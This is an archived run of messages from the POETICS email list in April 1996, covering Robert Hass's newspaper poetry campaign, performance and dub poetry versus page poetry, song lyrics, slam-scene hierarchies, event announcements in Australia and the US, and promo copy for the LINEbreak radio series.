The coolest thing Bob Haas talked about was his mission to change various newspaper"s opinion of poetry through using "bully" tactics to get papers to comit X amount of space for poetry each day. month ecetera. Bob would call the paper and announce that a pulitzer prize winner in literature, a [NAME PRESTIGEOUS PRIZE] in journalism, a noble prize winner in science and so on would like to talk with the paper about the importance of literature, specifically poetry, for the masses. He showed with these folks at the NY Times to get them to commit to one full page worth of space a month. Also his daily poetry commentary has been syndicated for over 30 papers, which I haven't seen yet but would be interested in. I think he said he was working on getting 5 papers in major cities a year to commit as his goal. As for here in Philly, with the Inquirer no such luck so far. He has three books out, I prefer Praise, although the second section of Human Wishes tells great stories in prose lyric. Be Well.

David Baratier

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161. cris cheek
Re: Poetry video & Performance
Mon 8 Apr 1996

Hi all, and thanks to Joe and Bob and Maria and Jean and Julie and Tim and Tosh for keeping this thread bobbling over the past couple of days.

I'm in somewhat of a rush - too much to go into provocative depth - (sighs of relief all round). But wanted to lead into a Brit perspective on this discussion. It's certainly not only in the US poetry worlds and poetry communities that there are awkward crags, yeah sometimes chasms, between 'performance' poets and the paging poets. Yes I know it's a broad simplication - let's say between the written and the oral emphases. Some of those scaleable impediments and bridgeable gaps are created by simple non-contact and, arguably, too few mututally respectful attempts to make that contact.

Parts of the mutual disinterest comes from (again unjustifiably broadly stereotyped): - a suspicion about pop against art or even culture versus art (I remember Bruce Andrews telling me 'what we need (or "i want" - i can't quote him verbatim and the difference is poignant) is more art and less culture') - a suspicion on the part of some poets here (I'm not going to name names, that's stupid) - for example - for the politics of Rastafarianism and thereby a residual dislike (some put it more strongly) of Reggae music and thereby the impossibility of catching onto Bob Marley or Lee Perry. This carried over into problems with Michael Smith and Linton Kwesi Johnson and Jean 'Binta' Breeze - because of their rhythms if not for their affiliations. Now there's a whole huge

can of worms and the poetry is tarnished right along. It's somehow symptomatic.

As someone who's always been hot and rangey to musics and will listen to Gil Scott Heron, Tribe Called Quest, Dropping Science, AMM, Fanta Damba, Bjork, Tricky, Scelsi, Goldie, The Hafler Trio, Tom Waits, Last Exit, Asian Dub Foundation, Pierre Schaeffer, Zoviet France, Steve Lacy, Captain Beefheart, Chalkdust, Tom Ze, Sun Ra, Cecil Taylor, post-Bitches Brew Miles Davis, Mahler, Oumou Sangare and others who have forsworn 'names' - in a stereotypical evening when friends are round or not - the rhythms (the 'feel') of the musics and how it's driven and contructed and it's use of voice are syntaxes that correspond to processes and practices of writing from syllable to syllable or word to word for poetry (whether oral or written). The voice and its context and its shaping within the human breath or metal machine breaths are where movement-based (body) choreography and sound and language meet in an excitation of shared air.

Now my own work both in performance and on the page is in the 'difficult' room. It's just that way. Yet my own take is very much along the 'I'll respect your shit if you respect my shit' lines. It seems to be much too small a community of practicing poets (worldwide), in whatever forms of practice, whose practice is oppositionally civic as Joe desires it (and so do i), to start carving up little lines of the defensive drug (one of the most pernicious of poetry, no of art, habits).

I liked very much what Charles Bernstein said about Ideolect some time back and it seems pertinent to this discussion. Because, again speaking personally, I want to exchange with the rap and dub and slam poets in a positive forum. Of course, I want to turn them onto what I'm into and up to. (Barrett Watten, Carla Harryman, Steve Benson, Allen Fisher, Caroline Bergvall, Brian Catling, Aaron Williamson and others) But I've got a lot to learn too and feel that (here's where you all shout - "space cadet!" and plunge for delete) there are spaces of mutual respect and solidarity that can be reached through listening to the hearing and looking at the seeing of the differences between these broadly never the twain shall meet forms of prioritisation. Those spaces or bases offer a potential for strong rather than divided oppositional poetics.

I'm unlikely to get to see USOP in Britain. As far as the British literary capitalist publishing cadre it's Dana Goia and CK WIlliams and Derek Walcott and so on that they display any interest in from the broad linguistic diaspora. Ashberry and Ginsberg represent two token fringe figures who deal with the residual responsibilities of being seen to present a range. But then the numbers of people (ok Bjork and Tricky aside at the present) who listen to many of the

musicians I mentioned above, compared to the numbers for Michael Jackson and Whitney Houston, are also small.

I don't know Bob, but I'm glad he's listening and working on generating some of these discussions. Would that the range of discourse was broader here sometimes.

The whole of this coming week Jean Breeze, Aaron Williamson and Tertia Longmire, Fiona Templeton, Caroline Bergvall, Mary Lemley and myself will get to work alongside each other at Dartington's 'Performance Writing' Symposium - at the weekend we'll be joined by Heiner Goebbels, John Cayley, Cherry Smyth, Tim Etchells, Alaric Sumner, Ronnie Monro, SuAndi, Rod Mengham, Drew Milne and many others. It's just a start.

love and love
cris

↑ Index

162. Wystan Curnow
Re: POETICS Digest - 4 Apr 1996 to 5 Apr 1996
Mon 8 Apr 1996

Dear Bob, Was it you at Michael Andre's Canal St. apt. and Arakawa and Creeley I met many years past? Before a Creeley read at St.Marks I think? What I wanted to ask about USOP on behalf of those of us beyond broadcast range, are there plans to make a video of it? I'm a King Missile fan/ Larry Eigner fan.

Regards,
Wystan

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163. Maria Damon
Re: Poetry video & Performance
Mon 8 Apr 1996

---

thanks cris cheek fr yr tuppence. i teach some of the dub poets and jean binta breeze knocks'em dead in the classroom everytime. it works. and michael smith. i had one wonderful student who became a performance poet after hearing my tape of michael smith saying "lawwwwwwwwwd...," francine conley. she performs in madison wi and i think went to SF for some competition. i've never seen brit performance stuff other than reading your descriptions of your performing ranges (ex-rengas). md

↑ Index

164. Tony Green
Re: Performance poetry/Nagy's book
Mon 8 Apr 1996

---

going back a bit to 1981 THE POETRY READING A contemporary Compendium on Language & Performance ed. stephen Vincent & Ellen Zweig Momo's Press, 1981, San Francisco COLLECTIVE CONSCIOUSNESS ART PERFORMANCES IN THE 70'S Performing Arts Journal Publications New York 1980 Henry M.Sayre THE OBJECT OF PERFORMANCE University of Chicago Press 1989 are on my shelves and might or might not be useful. With investigations like the one you mention, you have to make the theory up. Best way. More fun.

Tony Green,
e-mail: [redacted]

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165. Chris Stroffolino
Re: Poetry video & Performance
Mon 8 Apr 1996

---

maria d. lawwwwwwwwwd do you mean that chicago guy or the lead singer of the FALL--who is a great performance poet that everyone should listen to (though I haven't in a while)--

↑ Index

166. Chris Stroffolino
Re: Poetry video & Performance
Mon 8 Apr 1996

Thanks Chris Cheek for that great wonderful note about loving all kinds of music lyrics. We need not call them "performance poetry" to legitimize them. I like to read "poetry atrophies when it gets too far from music" not so much in terms of "melopeia" (that's really unavoidable) nor in terms of the "hybrid" kind of "performance poetry" that's "too musical for most poets but not musical enough for most poets"--- One of the things that bummed me out about reading on the LOLLAPALOOZA TOUR (sic?) was that I was hoping we'd get to hang with the musicians more--but it was pretty separate..... I play piano and write three chord type songs. I have made no effort to "get them out" yet (due in part to time and $$$$). I know alot of other poets (even those who like me and Mr. Cheek resemble Harryman and Ashbery more in our writing) who also have an interest in Reggae, Punk, Dylan, Gil Scott-Heron etc...

and feel no need to say "well, they're NOT POETS!" which I always thought was a defensive move made by those (no names, that would be stupid) envious of their fame, and hopefully not any fear of rastafarian politics....got to build our love on one foundation... tell me who are the criminals..... just babbling here....chris

↑ Index

167. **Rod Smith**
Re: Happy poetry month
Tue 9 Apr 1996

Mr. Haas published two prose poems by Laynie Browne in the Washington Post about a month ago. It said "she lives in NYC" -- several months after she'd moved to Seattle so I'm not sure she knew it was going to happen. Great to see tho.

> *The coolest thing Bob Haas talked about was his mission to change various newspaper"s opinion of poetry*

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168. **tosh berman**
Re: Poetry video & Performance
Tue 9 Apr 1996

One should look into "throwaway lyrics." Frank Black is really good at this type of writing,and so are any artist that has an active b-side career. They get loose, strange, and of course very odd. Down with Masterpieces and up with the odd b-side recording!

tosh

↑ Index

169. **Samuel R. Truitt**
Ichor Reading
Tue 9 Apr 1996

Will be reading:

Rod Smith, Mark McMorris, & Virginia Hooper
Friday, April 19 @ 8:30pm
Ichor Gallery
127 West 26 Street, 9th Floor

There's a 3 dollar donation, most of which will be tipped to Smith and McMorris to offset travel.

Samuel Truitt

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170. mikl-em

why is art and how did she get in my backstroke. the soup?

Tue 9 Apr 1996

Chris S.--the Criminals are a band from Berkeley, there is an interview w/ 'em in the next Maximum Rock and Roll.

I nod also kudoishly to chris cheek for his litaneous post of fine lyrical types. And also Chris the Fall tip is a ver strong one, there is much going on in Mark E Smith's lyrics , skewness and set in live and undeniable performance, that is occurrence. And that is one important difference to me between the writ and spoke word:

there are implicit assumptions about language, and by their insistence, by occurrence, speech and writing violate differently these "rules"--this is my particular fascination-- can the author "lie" to us by forinstance changing a word [or a letter] in a piece of quoted material, or david antin's violation of logical syntax in "stanzas"--the author does, in the same way that it is undeniable that something which is used in a collage has existed somehow in the real world; of course now, with photoshop and other computer resources the eyes cannot even be trusted--again someone is CHEATING, tampering with the empiracles! these are things that are so bold-faced they leave folk huffin and puffn frustrate in their wake--and that may be oldhatnews to the fine folks on the Poetics list, but hav you heard the Pavement tunes where the lead [could be led] singer alternates almost identical phrases at no set interval, violating the expectation for order ["career" and "Korea" or "I'll try" and "I'm trying") I get a buzz from such in either song or er-verse, But in a live or recorded performance different evidences are e-skewed.

I am more than willing to take a lyricist seriously--becuz what is serious? wel serious to me turns out to mean determined. There sure are a lot of serious poets around. but Important is the term for me that means, a) this is work that resonates with me, and b) I sense a cohesion and "success" of hitting the artist's own unaffected expression.

--or purposed affectation, as in a deliberate filter through which the poem is passed

of course also violation of the above at right angles , break the rules about breaking the rules.....

which is why the Mac Low/Cage ideas sometimes feel too clean to me, nice all the same and very worthy, but definitely yes Formal exercises and I prefer other occassions

anyway, I think that Hall lets himself down and the Fall's Smith seems uneven but is truer ultimately to hisself and so does me more good.

One last-lost point, I developed a great deal as a poet and performer in the midst of a punk-rock music scene in Richmond VA, it gave a context in which the expression of a twenny-sumthiner was valid; in the misshapen shadow of a down-sizing art school bands painters and poets intermingled making art-things thata t least seemed to be appreciated by those who viewed them.. And at the same time the MFA students didn't want to attend let alone read in the open or scheduled readings as if it would taint there rep to read in public--and the faculty...well, here's a quote "You know I usually get PAID for doing this...."

I have been happily swimming/drowning through Bruce Andrews "Give 'em Enough Rope," recently. And I was so taken with the fact that it shared a title with a Clash album that I had totally forgotten the fact that it originated from the phrase with the punchline "and they'll hang themselves." which makes the title much even more much fittinger, apt perfect, important. To me its wonderful that the pop usage of a phrase can eclipse the root of its existence; I don't know if my experience is exactly what Andrews had in mind, but I do believe that he would be pleased with that effect.

Cheers to All makers, I'll see you on the bus.

mikl.

↑ Index

171. Ron Silliman
Re: National Poultry Month
Tue 9 Apr 1996

Simon,

two things:

I can't recall any other laureate (or its more utilitiarian predecessor, the consultant to the Library of Congress) who would have brought either Lyn or Carl to the L.O.C. That represents a significant change. Others, like Strand, have done little or none of the "ambassadorial" type functions. So, yes, different people do approach that spot differently. Rita Dove got an enormous amount of press for African American writing in general in her term.

Still, I would never want to deny the value a Michael Lally (his workshop alumni take up a good portion of In the American Tree), the indefatigable organizer

operating on a local level. The Tysh family and Kofi Natambu in Detroit (who together had, at least ten years ago, done a great job bridging the old American racial chasm), DF Brown in Houston, Paul Piper in Missoula, Ann Kingsbury and Karl Gartung in Milwaukee, Gil Ott right here in Philadelphia -- this country (and I suspect others) is full of people without whom poetry itself literally could not survive. We need to cherish them all.

But it's not an either/or situation, is it?

Ron Silliman

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172. Maria Damon
Re: Poetry video & Performance
Tue 9 Apr 1996

chris s, are you asking about michael smith or about my former student francine conley? francine is a she (whatever that means) and is a solo performance poet in madison WI.. Smith was a dub poet in Jamaica who was killed by stoning (yes, incredible) by members of a political party at whose rally he'd been verbally challenging ("heckling") the night or week before. see his posthumous book out from New Directions, IT A COME, and better yet, listen to his tapes, and also see Kamau Brathwaite 's poem for him in Middle Passages.--md

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173. Maria Damon
Re: Happy national poetry month
Tue 9 Apr 1996

are we only allowed to read happy, nationalist type poetry this month? time to break out von hallberg's american poetry and culture again to find out if there is such a thing...--md

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174. Mark Roberts
AWOL: Aust. Multi Media at NSWWC (forwarded)
Tue 9 Apr 1996

> *Mime-Version: 1.0*
> *Date: Fri, 5 Apr 1996 19:59:06 +1000*
> *To:* [redacted]
> *From:* [redacted] *(awol)*
> *Subject: AWOL: Aust. Multi Media at NSWWC*
>
> *The following information has been posted by AWOL on behalf of the*

NSW Writers' Centre. Please address all enquiries to the NSWWC

****

Martin Cooper, CEO of Australian Multimedia Enterprise Limited, to talk at the NSW Writers' Centre on the AME's role and functions, how writers may have some input to multimedia, on future directions in electronic publishing and how it may affect traditional publishing.

Date: Thursday 11 April 1996 Time: 6pm

A barrister and solicitor, Martin Cooper has conducted a specialist media and entertainment law practice representing broadcasting licencees, film, music and television industry personnel and production companies. He was the first solicitor employed by an Australian commercial television network and was a Director of Channel Ten in Sydney. He has been responsible for the production of many films, including "Gallipoli", and has published books, articles and papers on media and entertainment law issues.

Chair: George Masterman QC (NSW Writers' Centre Management Committee)

Panel: Rosie Cross (geekgirl), Lynne Spender (Australian Society of Authors), Julie Robb (Senior Legal Officer with the Arts Law Centre), Kate Riedl (General Manager, Australian National Playwrights' Centre) Lois Randall (Executive Officer, Australian Screen Directors' Association)

Free admission RSVP ESSENTIAL PHONE (02) [redacted] (Inquiries to Irina Dunn)

The NSW Writers' Centre is in the grounds of Rozelle Hospital. To get there, enter the Hospital from Balmain Road opposite Cecily Street and follow the signs to the Centre.

AWOL
Australian Writing On Line
[redacted]
http://www.ozemail.com.au/~awol/
PO Box 333 Concord NSW 2137 Australia
Phone 61 2 7475667
Fax 61 2 7472802

Mark Roberts

Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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175. **Mark Roberts**

AWOL: CALLS Literary dinner (forwarded)

Tue 9 Apr 1996

Mime-Version: 1.0
Date: Fri, 5 Apr 1996 20:02:47 +1000
To: [redacted]
From: [redacted] *(awol)*
Subject: AWOL: CALLS Literary dinner

The following information has been posted by AWOL on behalf of CALLS.

****

LITERARY DINNER
Marion Halligan

The Centre for Australian Language and Literature Studies is holding a Literary Dinner with Marion Halligan to deliver the address and launch _Louisa Lawson: Collected Poems with Selected Critical Commentaries_ edited by Leonie Rutherford and Megan Roughley with Nigel Spence. The dinner is on April 18th in the Treloar Room at Wright College at the University of New England, Armidale, New South Wales commencing with drinks at 6.30 for 7 p.m. The cost of the dinner,including wine, is $20 for members of CALLS and $25 for non-members. To book your places at the dinner email Cath Ellis on: [redacted]

To order a copy of _Louisa Lawson: Collected Poems with Selected Critical Commentaries_ edited by Leonie Rutherford and Megan Roughley with Nigel Spence at $30 each (including postage and packing) send a cheque or money order made out to CALLS to:
The Centre for Australian Language and Literature Studies
Department of English and Communication Studies
University of New England
New South Wales 2351
and include your name, address and a contact phone number.

> *AWOL*
> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol/*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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176. Mark Roberts
AWOL: Melbourne readings April 9 (forwarded)
Tue 9 Apr 1996

> *Mime-Version: 1.0*
> *Date: Mon, 8 Apr 1996 16:06:37 +1000*
> *To:* [redacted]
> *From:* [redacted] *(awol)*
> *Subject: AWOL: Melbourne reading April 9*
>
> *The following message has been posted by AWOL on behalf of Alphabet City Cafe Readings, Zound Poetry and Smith Street Readings.*
>
> **********
>
> *Alphabet City Cafe Readings Melbourne*
>
> *April 9 Grant Caldwell (fresh from his NSW tour), Robert Drummond, Kerry Scuffins, Lyn Boughton and musicians. Alphabet City Cafe - 98 High Street Northcott (opposite Valhalla cinema). Readings are organised by Shelton Lea and are held on the 2nd Tuesday of the month. For further details contact the cafe.*
>
> **********
>
> *Zound Poetry at La Mama*

> *April 9 8pm Presented by the Axle group. Features Unamunos Quorum, Carolyn Connors, Kelli Dipple, Peter Murphy, Javant Biarujia Biarujia and Peter Gleeson. Details ph pete spence (03) 9593 9033*
>
> **********
>
> *Smith Street Readings*
>
> *Smith Street Hotel 14-18 Smith Street Collingwood (opposite 3CR).*
> *April 9 7.30pm Catherine Magee, Patrick Alexander, Coral Hull, John Anderson.*
> *April 23 Lyn Boughton, Daniel Keen, Alison Croggon and Craig Sherbourne.*
> *Details ph Adrian Rawlins (03) 9417 2869.*
>
> *AWOL*
> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol/*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

177. Joe Amato
Re: Poetry video & Performance
Tue 9 Apr 1996

---

thanx, chris c., for that fine modulation... always been fond of song lyrix mself, and in fact (no need to blush here i hope) have been as inspired by same as by poems... one quick note along the lines of poets who use lyrix actively in their

work (could this be another thread?): toby olson's "standards" series, whereby he riffs on... standards!...

best,

joe

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178. **Julie Marie Schmid**
Re: Poetry video & Performance
Tue 9 Apr 1996

Amen, Cris!!

I was struck by what you say about reading slam, dub, rap along with Watten, Hejinian, Derek Walcott. The idea isn't (or shouldn't be) to ghettoize, but to read all these voice in concert. I got into contemporary poetry through the language poets and find much of what they're doing and writing about (both poetry and essay) as helpful in thinking about more performance-based poetries.

Thanks for your post. It's given me something to chew on!

↑ Index

179. **Julie Marie Schmid**
Re: Happy poetry month
Tue 9 Apr 1996

To get on the Robert Haas bandwagon: I saw him speak this winter at the Harold Washington Library in Chicago. He gave a talk entitled "Democratic Vistas" and then the obligatory colon and something about the poet and the economy. It was supposed to be a dialogue with Thulani Davis, but due to the blizzard on the East Coast she couldn't make it--alas! Mr. Haas spoke for awhile about the poet as implicated in a gift economy--she has to return the gift, etc. He did a stunning job of tying this into the realities of literacy and education in this country and really got the audience thinking about the connection between reading poetry and democracy--Whitman's "nation of poets." After talking for about an hour, he opened the discussion up to the audience and had people telling about specific activities in their communities, both poetic and political (if you care to separate the two). Likewise, people started asking Haas and other audience members for suggestions about things that could be done at the grass roots level. The discussion went on for about two more hours.

What really amazed me about this evening was Haas's complete commitment to the community and the way that he really imparted that feeling to other people present. As it was a free, public reading at the library, it was attended by quite

a few non-academic, non-poet types. I attended the discussion with non-poet folk (2 ad. execs. and 1 CPA--ages: 2 twenty-somethings, 1 baby boomer). The four of us left there impassioned and went home and talked about the reading for hours. In fact, it still comes up in conversation. I don't know how much it changed people's lives, but I do know that since that evening my three friends have been attending readings and slams regularly with me and have caught the bug.

All this is a really long-winded way of saying that although I, too, have reservations about the whole poet laureate schtick, I think Haas is completely committed to the idea of a community poetics and that he is striking some chord in people through his work as p.l.

P.S. My only regret is that Thulani Davis didn't make it. What an evening that would've been!

↑ Index

180. Maria Damon
Re: Happy poetry month
Tue 9 Apr 1996

---

hear hear on poetry activists! thanks julie schmid for your heartwarming tale engagement and community. -bests, maria d

↑ Index

181. Kevin Killian
West Coast Brodey Reading
Tue 9 Apr 1996

Small Press Traffic and the Poetics Department of New College present a celebration of Hard Press' publication of Jim Brodey's Heart of the Breath (ed. Clark Coolidge)

Readings and remembrances by Bill Berkson, Tom Clark, Robert Grenier, Larry Kearney, and Joanne Kyger

Friday, April 12 at the New College Theater
777 Valencia Street, 7:30 p.m

Jim Brodey, born in Brooklyn, 30 November 1942, died (of AIDS) San Francisco 16 July 1993.

Empty wine bottle cold as Hoboken in November
Or Mission Street in ancient San Francisco
Where the lawns grow heather-like and men

Caught in the whirlwind of heaven worldweary
Men leaning into holes in space on lawns green
Pills coming on the earth revolving into sleep

-from Jim Brodey's "Jack Kerouac"

His zigzag is unearthly, sometimes. Not just word/nerve/combinations, but flowing structures to amaze the gloom of lower Manhattan. The discipline inherent in Kerouac's locomotive meditations (which look so easy when read), is fed-back to him, but in mad overdubbing stanzas. Brodey's book is a flying horse of wild crab language served up by a poet already well-versed in how a poem walks.

-Ted Berrigan

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182. Charles Smith
Re: Fanny Howe video...
Tue 9 Apr 1996

Jena-- do you know how one might get a copy of this?

"--Fanny Howe's _What Nobody Saw_: this video was definitely the highlight for me. I think it comes closest to what Tim Wood may be looking for. The images worked with the words in a truly evocative way so that they were in fact the _language_ of the poem (as opposed to an illustration of it)."

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183. Edward Foster
Russian/American Poetry Conference
Tue 9 Apr 1996

PROSPECT: The Second Sensational Festival of Russian and American Poetry and Poets

Bruce Andrews, Arkadii Dragomoshchenko, John High, Jackson Mac Low, Vadim Mesyats, Eileen Myles, Maya Nikulina, Simon Pettet, Lev Rubinshtein, Leslie Scalapino, Aaron Shurin, Elena Shvarts, Nathaniel Tarn, John Yau, Ivan Zhdanov, and a most stellar assembly of other great poets, critics, academics, and terrific people in general.

Call for papers: those wishing to participate in academic sessions and panel discussions, please submit proposals as soon as possible but not later than May 1st.

POETS WHO WISH TO READ THEIR WORK AT THE FESTIVAL: please contact us AS SOON AS POSSIBLE.

May 23-26, 1996
Stevens Institute of Technology
Hoboken, New Jersey
(directly across the river from Manhattan; one subway stop from the West Village)

Registration fee: a mere $35 (which we'll waive if that's outside your budget)!
Amazing (reasonably priced) dinners!
Limited (inexpensive!) housing!

For information: Ed Foster or Vadim Mesyats, Dept. of Humanities, Stevens Institute of Technology, Hoboken, New Jersey 07030; tel. [redacted], fax [redacted]; e-mail [redacted]

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184. Chris Stroffolino

Re: why is art and how did she get in my backstroke. the soup?

Tue 9 Apr 1996

Dear Mikl---Yes on PAVEMENT ambiguity (career-korea, like early REM etc)
Dear Maria D.-- Yes on Michael Smith....certainly no happy nationalist...
---
another question---much of this talk of poetry slams and open readings and performance poetry seems to involve assumptions about "democracy" that I question. That the "avant-garde sophisticates" need to be in touch with the more "populist" slams, etc.....
But, it seems to me there is at least as much HEIRARCHY and SNOBISM and even a "star-system" in the slam scene as in the "avant-garde sophisticate" scene. Maggie Estep is seen as a kind of metonymy for " a NYC slam poet" by many (just as BERNSTEIN is seen as a metonymy for Paul Naylor, etc).
I am not trying to be judgmental here, but trying to come to a clearer understanding of the difficulties involved in forging alliances between these scenes. In PHILA, in the late 80's I was originally far more embraced by a largely black "open mic" scene (we didn't call them slams--perhaps because the illusion of co-operation hadn't yet been REAGANED out) UNTIL I stopped reading a certain kind of poem.
Wouldn't it be nice if more events combined these two groups without snobbery on either side?

Of course, then there's the other question--

We (was it Amato?) may say "WE RESPECT EVERYTHING" and that can
be our public political stance, but at the same time there's always
these DECISIONS to make, and these preferences.....
so, should we just cop out and say it's arbitrary...
or that so and so has a bigger name
or that so and so is less of a threat
or that so and so has done me alot of favors so therefore
or that so and so is REALLY good in bed
or sat up with me in my hour of DREAD...
---
why do so many people, when they talk of poetics, sound
like politicians (me no excluded here)?
"let me make this perfectly clear," etc----

↑ Index

185. **Charles Alexander**

Re: Happy national poetry month

Tue 9 Apr 1996

> *are we only allowed to read happy, nationalist type poetry this month? time to break out von hallberg's american poetry and culture again to find out if there is such a thing...--md*

Here in Minneapolis the Big Poetry events for National Poetry Month are sponsored by LitLink, which includes Graywolf Press, Coffee House Press, Milkweed Editions, New Rivers Press, and The Loft Writers' Center, are being held at the Mall of America (largest shopping mall in the country, I think), and they are all rather geared around a "reach for poetry and feel good about life" atmosphere, or at least it seems so from the ways in which the events are being promoted.

↑ Index

186. **Henry Gould**

Re: why is art and how did she get in my backstroke. the soup?

Tue 9 Apr 1996

On Tue, 9 Apr 1996 14:29:34 -0400 Chris Stroffolino said:
> Of course, then there's the other question--
> We (was it Amato?) may say "WE RESPECT EVERYTHING" and that can
> be our public political stance, but at the same time there's always
> these DECISIONS to make, and these preferences.....
> so, should we just cop out and say it's arbitrary...
> or that so and so has a bigger name
> or that so and so is less of a threat

> or that so and so has done me alot of favors so therefore
> or that so and so is REALLY good in bed
> or sat up with me in my hour of DREAD...
> ----
> why do so many people, when they talk of poetics, sound
> like politicians (me no excluded here)?
> "let me make this perfectly clear," etc----

Maybe if the relationship between poetry and dreams was understood more clearly. I mean the dreams of the human race. I'm thinking of the Wallace Stevens aphorism about "The whole race is a poet..." Say we're dreaming of lost paradise and how to find it again. Taste rules criticism, and intuitive affinities, and social experience (i.e. your angle of vision) -- but it's only arrogance to imagine you've already achieved the pinnacle(s) of truth & beauty. So humility & compassion in responding to a poem is a kind of reciprocal openness. Onward... (& lookout for that other sub...) (& the other lovey-dovey condors...) - Henry Gould

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187. Henry Gould
Re: Happy national poetry month
Tue 9 Apr 1996

On Tue, 9 Apr 1996 13:35:15 -0500 Charles Alexander said:
>Here in Minneapolis the Big Poetry events for National Poetry Month are[...]
>held at the Mall of America (largest shopping mall in the country, I think),
>and they are all rather geared around a "reach for poetry and feel good
>about life" atmosphere, or at least it seems so from the ways in which the
>events are being promoted.

Sounds like my old home town! "Hyello. Say now, you just have a really really nice day!!" -- Estelle du Nordstrom, Vice-President, M-DABL (Minnesotans Dream A Better Life)

↑ Index

188. Rae Armantrout
Re: Poetic Briefs
Tue 9 Apr 1996

I tried to respond backchannel to an offer to send Poetic Briefs to whomever was interested. (I believe the posting was from Jeff Hanson).But my backchannel went awry and my message was returned. So I'll just tell the whole list. Yes, I'm interested in receiving an issue of Poetic Briefs.

Rae Armantrout
4774 E. Mtn. View Dr.
San Diego, Ca. 92116

↑ Index

189. Hank Lazer
Re: Poetic Briefs
Tue 9 Apr 1996

I had the same problem as Rae. Please send me Poetics Briefs:

Hank Lazer
2945 N Hampton Dr
Tuscaloosa, AL 35406-2701

↑ Index

190. Martin Spinelli
coming LINEbreak promos
Tue 9 Apr 1996

Folks,

I have been encouraged to post the weekly LINEbreak promotional copy to POETICS. These are the messages that go out over the NPR computer network to be read on air as advertisements for upcoming programs. (Bear this in mind as you read them.)

If LINEbreak is not on in your area contact your local public or college radio station and encourage them to carry it. (If you think only one or two programs would be of interest in your area) stations can broadcast individual programs if they wish.

Martin

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191. Martin Spinelli
Cecilia Vicun~a on LINEbreak
Tue 9 Apr 1996

TO: All Stations/Program Directors
FR: Martin Spinelli, LINEbreak Producer
DT: 1 April 1996
RE: "LINEbreak" - Promo for 4/4/96 program

Title: "LINEbreak"
Program ID: 96-B64-00001
Feed Time: 4 April
1:00 a.m. Eastern Time

The following is promo copy for the April 4th LINEbreak.
****

A new program called Linebreak is on the way. Every week it brings you interviews and performances with the best and most interesting writers at work today. On the first edition of Linebreak, we feature Chilean poet Cecilia Vicuna [si-SEEL-ya vi-COON-ya]. She'll perform songs from the shaman tradition. Join us for Linebreak at [time/day] on [station].

****

Contact: Martin Spinelli, Producer/Director
302 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260-4610

Phone: 716/[redacted]
Fax: 716/[redacted]
E-mail: [redacted]
www: http://writing.upenn.edu/epc/linebrea

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192. Martin Spinelli
Dennis Tedlock on LINEbreak
Tue 9 Apr 1996

TO: All Stations/Program Directors
FR: Martin Spinelli, LINEbreak Producer
DT: 10 April 1996
RE: "LINEbreak" - Feed Schedule + Promo for 4/11

Title: "LINEbreak"
Program ID: 96-B64-00002
Feed Time: Thursday April 10th
1:00 A.M. Eastern Time
Channel: A73.1 M

The next LINEbreak feeds at:
1:00 A.M. Thursday Eastern Time (that's)

12:00 Midnight Wednesday Central Time
11:00 P.M. Wednesday Mountain Time
10:00 P.M. Wednesday Pacific Time

The following is promo copy for the 4/11 LINEbreak.
****

On the next edition of Linebreak, host Charles Bernstein speaks with ethnographer Dennis Tedlock. Dennis Tedlock is the editor of the flagship journal The American Anthropologist. He'll perform a translation of a Zuni folktale. Join us for the next Linebreak on {time/day} on {station}.

****

Contact: Martin Spinelli, Producer/Director
302 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260-4610

Phone: 716/[redacted]
Fax: 716/[redacted]
E-mail: [redacted]
www: http://writing.upenn.edu/epc/linebreak

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193. Martin Spinelli
Ray Federman on LINEbreak
Tue 9 Apr 1996

TO: All Stations/Program Directors
FR: Martin Spinelli, LINEbreak Producer
DT: 17 April 1996
RE: "LINEbreak" - Feed Schedule + Promo for 4/18

Title: "LINEbreak"
Program ID: 96-B64-00003
Feed Time: Thursday April 18th
1:00 A.M. Eastern Time
Channel: A73.1 M

The next LINEbreak feeds at:
1:00 A.M. Thursday Eastern Time (that's)
12:00 Midnight Wednesday Central Time

11:00 P.M. Wednesday Mountain Time
10:00 P.M. Wednesday Pacific Time

The following is promo copy for the 4/18 LINEbreak.
****

On the next edition of Linebreak, experimental novelist and holocaust survivor Ray Federman [FED-der-man]. As a child, his mother hid him in a closet to escape the Nazi round-ups in his neighborhood. This event marked his writing in some very UN-sentimental ways. Join us for the next Linebreak on {time/day} on {station}.

****

Contact: Martin Spinelli, Producer/Director
302 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260-4610

Phone: 716/[redacted]
Fax: 716/[redacted]
E-mail: [redacted]
www: http://writing.upenn.edu/epc/linebreak

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194. Martin Spinelli
Lance and Andi Olsen on LINEbreak
Tue 9 Apr 1996

TO: All Stations/Program Directors
FR: Martin Spinelli, LINEbreak Producer
DT: 24 April 1996
RE: "LINEbreak" - Feed Schedule + Promo for 4/25

Title: "LINEbreak"
Program ID: 96-B64-00004
Feed Time: Thrusday April 25th
1:00 A.M. Eastern Time
Channel: A73.1 M

The next LINEbreak feeds at:
1:00 A.M. Thursday Eastern Time (that's)
12:00 Midnight Wednesday Central Time
11:00 P.M. Wednesday Mountain Time
10:00 P.M. Wednesday Pacific Time

The following is promo copy for the 4/25 LINEbreak.
****

On the next edition of Linebreak, cyberpunks Lance and Andi Olsen talk with host Charles Bernstein about postmodern fiction and how TV has infected and invigorated writing. Lance reads from his new novel Burn, and Andi puts video tape through some artistic paces on the next Linebreak--right here on {station} at {time/day}.

****

Contact: Martin Spinelli, Producer/Director
302 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260-4610

Phone: 716/[redacted]
Fax: 716/[redacted]
E-mail: [redacted]
www: http://writing.upenn.edu/epc/linebreak

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195. Carl Lynden Peters
Re: Poetic Briefs
Tue 9 Apr 1996

> *I had the same problem as Rae. Please send me Poetics Briefs:*
